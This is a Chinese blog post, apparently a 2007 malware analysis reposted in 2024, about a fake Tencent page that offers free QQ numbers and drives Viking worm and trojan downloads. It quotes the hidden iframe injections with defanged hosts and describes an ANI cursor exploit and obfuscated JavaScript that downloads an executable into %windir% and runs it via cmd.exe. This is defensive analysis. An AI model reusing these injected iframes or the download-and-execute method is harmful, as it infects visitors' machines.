小心免费送6位QQ号码的网站传播Worm.Win32.Viking.lj/Worm.Viking.sv等

女爷i 2024-02-17 13:56 43阅读 0赞

**endurer** 原创  
2007-05-14 第**1**版

该网站的网页是保存了腾讯官方网站的内容后进行修改的，相当具有迷惑性。

在网页中发现代码：  
＜iframe src＝"hxxp://www.p\*\*\*um\*\*a163\*\*.com/p\*\*\*u/1248481.htm" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
＜iframe src＝"hxxp://vip.yc\*\*\*0\*5.com/money\*\*\*.htm?id＝40" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
＜script＞var pop\_id＝1317;＜/script＞  
\---/

**hxxp://www.p\*\*\*um\*\*a163\*\*.com/p\*\*\*u/1248481.htm** 的包括2部分恶意代码。

**第1部分**是US-ASCII编码的字符串。到[http://purpleendurer.ys168.com][http_purpleendurer.ys168.com] 下载 US-ASCII加密、解密程序 进行解密，得到的内容为：  
/---  
＜html＞  
＜body＞  
＜link rel＝"stylesheet" href＝"css.css"＞  
＜/body＞  
＜/html＞  
\---/  
css.css 的内容为：

/---  
＜STYLE type＝text/css＞  
＜!--  
body \{CURSOR: url('hxxp://www.p\*\*\*um\*\*a163\*\*.com/p\*\*\*u/hjjasd.jpg')\}  
\--＞＜/STYLE＞  
\---/  
hjjasd.jpg（Kaspersky 报为 **Exploit.Win32.IMG-ANI.ac**），利用ANI漏洞下载 1.exe

文件说明符 : D:/test/1.exe  
属性 : A---  
语言 : 中文(中国)  
文件版本 : 1.0.0.0  
说明 :  
版权 :  
备注 :  
产品版本 : 1.0.0.0  
产品名称 :  
公司名称 :  
合法商标 :  
内部名称 :  
源文件名 :  
创建时间 : 2007-5-14 12:30:13  
修改时间 : 2007-5-14 12:31:22  
访问时间 : 2007-5-14 12:32:32  
大小 : 95232 字节 93.0 KB  
MD5 : 32073dc3d803d6ffb3521510f77d9bb0

Kaspersky 报为 **Worm.Win32.Viking.lj**，瑞星报为 **Worm.Viking.sv**

**第2部分**是：  
/---  
＜script src＝614.js＞＜/script＞  
\---/

**614.js** 的内容为JavaScript脚本代码，功能为用自定义函数解密代码并通过 eval() 来运行。

解密后的内容为JavaScript脚本代码，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 pu.exe，保存到%windir%，文件名由自定义函数：

/---  
function gn（n）｛var number＝Math.random（）＊n；return Math.round（number）＋‘.exe’｝  
\---/  
生成，即 \*\*\*.exe，其中\*\*\*为 数字。然后通过 Shell.Application 对象 Q 的 ShellExecute 方法执行命令： %windir%/system32/cmd.exe /c %windir%/\*\*\*.exe 来运行。

pu.exe 与 1.exe完全相同。

**hxxp://vip.yc\*\*\*0\*5.com/money\*\*\*.htm?id＝40** 包含代码：  
/---  
＜script src＝css.js＞＜/script＞  
\---/

**css.js** 的内容为JavaScript脚本代码，功能为用自定义函数解密代码并通过 eval() 来运行。

解密后的内容为JavaScript脚本代码，功能为  
是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 hxxp://bo\*ol\*\*\*o\*m.com/love.exe，保存到%windir%，文件名由自定义函数：

文件说明符 : D:/pe/tools/virus/love.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-5-14 12:34:2  
修改时间 : 2007-5-14 12:34:4  
访问时间 : 2007-5-14 0:0:0  
大小 : 46455 字节 45.375 KB  
MD5 : 88df1383078fdfa55d5ec6a70c39cdc4

Kaspersky 报为 **Trojan-Dropper.Win32.Small.axi**

[http_purpleendurer.ys168.com]: http://purpleendurer.ys168.com/